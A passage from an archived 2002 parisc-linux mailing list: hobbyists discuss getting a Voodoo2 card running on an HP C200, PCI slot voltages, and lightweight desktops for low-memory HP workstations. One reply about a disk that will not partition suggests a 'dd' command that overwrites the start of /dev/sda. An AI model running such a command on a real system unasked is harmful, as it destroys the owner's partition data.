"$export FRAMEBUFFER=/dev/fb1; startx -- :0 -bpp 16 vt06"
causes a lockup and suspected HPMC.

So, it seems like this stuff will require some working on.
If anybody else wants to help out too that would be great
because my time is limited and programming video cards is
a bit above my level, but I'll keep tinkering with it in
the meantime. I know some assembly and hardware basics but
am not very familiar with pa-risc yet.

- Doug



Matthew Wilcox wrote:
> On Thu, Sep 05, 2002 at 05:49:55PM -0400, B. Douglas Hilton wrote:
> 
>>  This is the Debian source for Glide3 on the Alpha arch,
>>  which is also big-endian. Initial compilation failed in
> 
> 
> nope.  alpha is little-endian.
> 
> LE: alpha, arm, cris, i386, ia64, superh
> BE: m68k, mips, parisc, ppc, s390, sparc
> 
> (yes, i know many of these CPUs are bi-endian, but these are the default
> configs)
> 





From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: C200 Voodoo2 Progress Report
Date: Sat, 7 Sep 2002 02:44:42 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <000001c25607$c1fcdf90$0100a8c0@PLUTO>
References: <3D7943B1.3050406@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621692 13691 80.91.229.3 (22 Nov 2014 02:01:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:32 +0000 (UTC)
To: "'palinux'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 18:44:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE600482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 18:44:35 -0600 (MDT)
Original-Received: from [195.20.224.214] (helo=mrvdomng2.kundenserver.de)
	by moutvdomng1.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17nTi8-0007w3-00
	for parisc-linux@lists.parisc-linux.org; Sat, 07 Sep 2002 02:44:28 +0200
Original-Received: from [217.227.255.125] (helo=PLUTO)
	by mrvdomng2.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17nTi7-000774-00
	for parisc-linux@lists.parisc-linux.org; Sat, 07 Sep 2002 02:44:27 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <3D7943B1.3050406@charter.net>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16045

> For one, the Voodoo2 is a 5V PCI card so it 
> will not fit into the Cujo slots, only Dino.

Which means some people can't use it? But you and I 
have 5V slots allright, don't we.

> programming video cards is a bit above my level

Mine too!! Things always seem to be more difficult than
you'd think at first. In any case I will now try to 
repeat your initial steps, and I'll be very happy if I get
to the checkerboard pattern.

Cheers,
Tobias




From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Opinions on desktop environments
Date: Fri, 6 Sep 2002 17:58:14 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20020907005814.6142.qmail@web12506.mail.yahoo.com>
References: <20020830063725.4D0FD4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621692 13699 80.91.229.3 (22 Nov 2014 02:01:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 18:58:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id BC575482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 18:58:16 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12506.mail.yahoo.com via HTTP; Fri, 06 Sep 2002 17:58:14 PDT
In-Reply-To: <20020830063725.4D0FD4829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16046

Well, got KDE to work, but it just seems slow even with my 1.6MB of RAM
and 2GB of swap on my C180.  I guess my questions would be what would
be an alternative that might run faster and/or be better overall than
KDE?  Gnome?  I guess I'm looking for what you guys think is the best
desktop environment to run.  Thanks.

derek


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: C200 Voodoo2 Progress Report
Date: Fri, 06 Sep 2002 21:06:32 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <3D795118.1060709@charter.net>
References: <000001c25607$c1fcdf90$0100a8c0@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621692 13708 80.91.229.3 (22 Nov 2014 02:01:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:32 +0000 (UTC)
Cc: 'palinux' <parisc-linux@lists.parisc-linux.org>
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 19:07:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx12.cluster1.charter.net (dc-mx12.cluster1.charter.net [209.225.8.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC92B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 19:07:03 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx12.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 83725662; Fri, 06 Sep 2002 21:05:36 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16047

The C200 and probably C160, 180, 240, and 360
have two three different busses inside: the
Hewlett-Packard GSC bus, 5V/32bit PCI (dino),
and 3V/64bit PCI (cujo). Some PCI cards are
universal and have two punchouts. The 3V cards
have the punchout close to the outside edge of
the card, and 5V are the other way around.
You can use a 3V/32bit card in a 3V/64bit
slot with no problems. The Voodoo2 is 5V
only and will not fit into one of the Cujo slots.


Tobias Giesen wrote:
>>For one, the Voodoo2 is a 5V PCI card so it 
>>will not fit into the Cujo slots, only Dino.
> 
> 
> Which means some people can't use it? But you and I 
> have 5V slots allright, don't we.
> 

Right, C200 has both types. See above.

> 
>>programming video cards is a bit above my level
> 
> 
> Mine too!! Things always seem to be more difficult than
> you'd think at first. In any case I will now try to 
> repeat your initial steps, and I'll be very happy if I get
> to the checkerboard pattern.
> 

Yeah, not sure what did that. After rebuilding the sstfb
as a module and modprobe'ing it, I got a couple of colored
blocks, but not the checkerboard. I'm not sure of the exact
sequence as I haven't hooked up the spare monitor yet but
was switching the VGA cable back and forth. Further testing
seems warranted.

My C200 is back offline temporarily. I'm re-wiring my LAN
as it has gotten to be a horrendous mess of tangled wires
and cables after unplugging and replugging things for
several months. Need to straighten it out again :-)

I think I'll put the C200 onto my KVM switch with my X86 box
and reconsolidate it. I don't believe I'll be cracking the
case open anymore so it can be stowed away better than it is.
I put something like 370Mb RAM into it, a cdrom, an EEPro100,
and the Voodoo2. It is pretty well maxed out unless I run
low on HDD space which seems unlikely considering I just use
it as a hobby linux hacking box.

Thats it for now.

- Doug





From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Opinions on desktop environments
Date: 07 Sep 2002 02:43:28 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1031363008.9861.103.camel@irongate.swansea.linux.org.uk>
References: <20020907005814.6142.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621693 13713 80.91.229.3 (22 Nov 2014 02:01:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 19:41:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA473482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 19:41:48 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g871hU30012869;
	Sat, 7 Sep 2002 02:43:31 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g871hTec012867;
	Sat, 7 Sep 2002 02:43:29 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020907005814.6142.qmail@web12506.mail.yahoo.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16048

On Sat, 2002-09-07 at 01:58, Derek Engelhaupt wrote:
> Well, got KDE to work, but it just seems slow even with my 16MB of RAM
> and 2GB of swap on my C180.  I guess my questions would be what would
> be an alternative that might run faster and/or be better overall than
> KDE?  Gnome?  I guess I'm looking for what you guys think is the best
> desktop environment to run.  Thanks.

17Mb is pushing it. KDE/GNOME are about the same size. xfce/rox need a
lot less



From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: C200 Voodoo2 Progress Report
Date: Sat, 7 Sep 2002 03:04:25 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020907030425.H26580@parcelfarce.linux.theplanet.co.uk>
References: <000001c25607$c1fcdf90$0100a8c0@PLUTO> <3D795118.1060709@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621693 13718 80.91.229.3 (22 Nov 2014 02:01:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:33 +0000 (UTC)
Cc: Tobias Giesen <tobias_subscriber@tgtools.com>,
	'palinux' <parisc-linux@lists.parisc-linux.org>
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 20:04:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38E70482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 20:04:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17nUxW-0002Hz-00; Sat, 07 Sep 2002 03:04:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D795118.1060709@charter.net>; from bdhilton@charter.net on Fri, Sep 06, 2002 at 09:06:32PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16049

On Fri, Sep 06, 2002 at 09:06:32PM -0400, B. Douglas Hilton wrote:
> The C200 and probably C160, 180, 240, and 360
> have two three different busses inside: the
> Hewlett-Packard GSC bus, 5V/32bit PCI (dino),
> and 3V/64bit PCI (cujo).

... and some have an EISA slot provided by Wax.  I'm not sure exactly
which configurations exist, but the hwdb thinks that Cujo was only
used in the C200+, C240+, C360 and J2240.  The hwdb is slightly limited
in that there's only one profile per name, when it's possible to have
different configurations of the same box.  All B/C class boxes of that
era are guaranteed to have a Dino though, so there's no real problem
with requiring the use of a 5V slot.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alaskan@telusplanet.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Opinions on desktop environments
Date: Fri, 06 Sep 2002 20:29:05 -0600
Organization: Trolls are evil, what are you?
Lines: 26
Approved: news@gmane.org
Message-ID: <7joinucs23osp1s07fsc9m2e6b927ho3dg@4ax.com>
References: <20020907005814.6142.qmail@web12506.mail.yahoo.com> <1031363008.9861.103.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621693 13720 80.91.229.3 (22 Nov 2014 02:01:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 20:26:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from priv-edtnes16-hme0.telusplanet.net (defout.telus.net [199.185.220.240])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3C31482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Sep 2002 20:26:22 -0600 (MDT)
Original-Received: from win2kbox ([66.222.159.202])
          by priv-edtnes16-hme0.telusplanet.net
          (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with SMTP
          id <20020907022620.RZIM5909.priv-edtnes16-hme0.telusplanet.net@win2kbox>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 6 Sep 2002 20:26:20 -0600
In-Reply-To: <1031363008.9861.103.camel@irongate.swansea.linux.org.uk>
X-Mailer: Forte Agent 1.92/32.570
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16050

On 07 Sep 2002 02:43:28 +0100, you wrote:

>On Sat, 2002-09-07 at 01:58, Derek Engelhaupt wrote:
>> Well, got KDE to work, but it just seems slow even with my 16MB of RAM
>> and 2GB of swap on my C180.  I guess my questions would be what would
>> be an alternative that might run faster and/or be better overall than
>> KDE?  Gnome?  I guess I'm looking for what you guys think is the best
>> desktop environment to run.  Thanks.
>
>17Mb is pushing it. KDE/GNOME are about the same size. xfce/rox need a
>lot less
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Nothing like applying a little hardware to cure speed demons.

I would suggest more memory, at least 32MB and even 64MB and or a
faster hard disk drive (: 10k rpm :) the latter has sped my 712/60 to
twice the normal performance when using a GUI.





From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Formatting Scsi disks
Date: Fri, 06 Sep 2002 21:10:09 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020907031009.BB562482A@dsl2.external.hp.com>
References: <20020902234752.GA6718@systemhalted>  <005201c255ab$a3bf7f80$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621694 13723 80.91.229.3 (22 Nov 2014 02:01:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James S" <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 21:10:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BB562482A; Fri,  6 Sep 2002 21:10:09 -0600 (MDT)
In-Reply-To: Message from "James S" <smithjames@comcast.net> 
   of "Fri, 06 Sep 2002 08:44:29 CDT." <005201c255ab$a3bf7f80$02c1a8c0@james.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16051

"James S" wrote:
> the search command from the boot console on the 712 sees the disk
> the kernel sees & correctly identifies the disk
> just wont partition it
> any ideas?

hmm...
dd if=/dev/zero of=/dev/sda bs=64k count=10
reboot and then try to partition it.

I'm guessing the partition tool does not know the current partition scheme
(or maybe just thinks it does).

grant


From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Opinions on desktop environments
Date: Sat, 07 Sep 2002 00:33:02 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <3D79817E.201__49007.8716575683$1416621694$gmane$org@charter.net>
References: <20020907005814.6142.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621694 13725 80.91.229.3 (22 Nov 2014 02:01:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 22:33:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dc-mx03.cluster1.charter.net (dc-mx03.cluster1.charter.net [209.225.8.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6AFAC482A
	for <parisc-linux@parisc-linux.org>; Fri,  6 Sep 2002 22:33:27 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx03.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 78694599; Sat, 07 Sep 2002 00:31:55 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16052

Derek Engelhaupt wrote:
> Well, got KDE to work, but it just seems slow even with my 1.6MB of RAM
> and 2GB of swap on my C180.  I guess my questions would be what would
> be an alternative that might run faster and/or be better overall than
> KDE?  Gnome?  I guess I'm looking for what you guys think is the best
> desktop environment to run.  Thanks.
> 
> derek


Hehe... you should try running a 715 or 712! The C-Class machines positively
scream! I agree though, KDE is somewhat sluggish on my C200, but really not
too bad, its usable. I've heard rumors that someday the hppa c-library could
be optimized to run _much_ faster but its still a baby as far as linux is
concerned - I'm just tickled that it even works... I wanted another non-x86
machine (also have a Netwinder), but SGI's are pretty exotic (though tempting),
Alpha's seem super cool but are somewhat expensive and often in bad disrepair,
and Sun machines are either too expensive or too old. The hppa boxes provided
a nice economy and are very much contenders with any of the aforementioned
architectures. In its day a C200 running HP/UX was supposedly able to smoke
a 600MHz Alpha! Obviously there is a lot of optimization still to do...

I started off with a 715/80, got Woody running good on it, played with it for
almost a year, then sold it on Ebay for a small profit (Debian sells!) and
rolled my dough into the C200. I'm rather happy with its performance,
although it doesn't hold a candle to my super dual pentium-II 450 monster
box, still its a cool and useful machine, and very nice for making sure
that your app is portable, compiling your own hppa debs, etc. I don't run
mine 24/7 because it has pretty high power consumption, so the Netwinder
is my little server machine -> http://www.gyrodynamic.net

Well, I sent you a private email with my suggestions about E, but now that
I think about it, BlackBox isn't too bad with 8bpp color. Assuming that
somebody has fixed "update-menus" really any Debian window manager should
work with KDE, Gnome, and other X apps. The Debian menus should provide
access to all the installed packages which is all you really need.

BTW, regarding "update-menus" - the last time I tried it on hppa it worked
as root but segfaulted as a normal user.



- Doug



From - Thu Nov 08 21:24:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Opinions on desktop environments
Date: Fri, 6 Sep 2002 22:22:36 -0700 (PDT)
Lines: 86
Approved: news@gmane.org
Message-ID: <20020907052236.81279.qmail@web12503.mail.yahoo.com>
References: <3D79817E.201@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621694 13729 80.91.229.3 (22 Nov 2014 02:01:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  6 23:22:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from web12503.mail.yahoo.com (web12503.mail.yahoo.com [216.136.173.195])
